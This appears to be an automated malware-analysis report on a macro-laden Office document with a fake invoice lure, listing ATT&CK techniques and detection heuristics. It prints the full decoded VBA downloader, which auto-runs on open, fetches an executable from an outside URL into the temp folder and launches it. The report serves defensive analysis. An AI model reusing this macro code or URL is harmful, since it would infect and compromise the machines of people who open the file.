MALICIOUS
382
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. It uses a 'Protected Invoice' lure to prompt the user to enable editing and macros. Upon enabling, the AutoOpen macro executes, calling the URLDownloadToFileA API to download a second-stage executable from 'http://dodevelopments.com/send.php' to the temporary directory. The downloaded file is then executed using the Shell function, indicating a downloader or dropper functionality.
Heuristics 14
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
OYTJRT = Shell(GSIFHQ, 1) -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal SRPJVG As Long, _ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Auto_Open -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
LQCKDM "http://dodevelopments.com/send.php", Environ("TMP") & "\WPCCLB.exe" -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Fake invoice / payment lure low SE_INVOICE_LUREDocument contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://dodevelopments.com/send.php� Referenced by macro
- http://dodevelopments.com/send.phpReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1284 bytes |
SHA-256: 19c7966a169bf4f2656dcf77dcdd69d747fec90e7dcdb042ccbe5b4652347685 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal SRPJVG As Long, _
ByVal NCXBNA As String, ByVal RPQCKT As String, ByVal MFHAJK As Long, _
ByVal CFRDXH As Long) As Long
#Else
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal SRPJVG As Long, _
ByVal NCXBNA As String, ByVal RPQCKT As String, ByVal MFHAJK As Long, _
ByVal CFRDXH As Long) As Long
#End If
Sub AutoOpen()
Auto_Open
End Sub
Sub Auto_Open()
RIMTVG
End Sub
Public Sub RIMTVG()
LQCKDM "http://dodevelopments.com/send.php", Environ("TMP") & "\WPCCLB.exe"
End Sub
Function LQCKDM(ZUFOQM As String, GSIFHQ As String) As Boolean
Dim OKFQKE As Long
OKFQKE = URLDownloadToFileA(0, ZUFOQM, GSIFHQ, 0, 0)
If OKFQKE = 0 Then LQCKDM = True
Dim OYTJRT
OYTJRT = Shell(GSIFHQ, 1)
End Function
Sub Workbook_Open()
Auto_Open
End Sub
Attribute VB_Name = "NewMacros"
Sub Macro()
'
' Macro Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.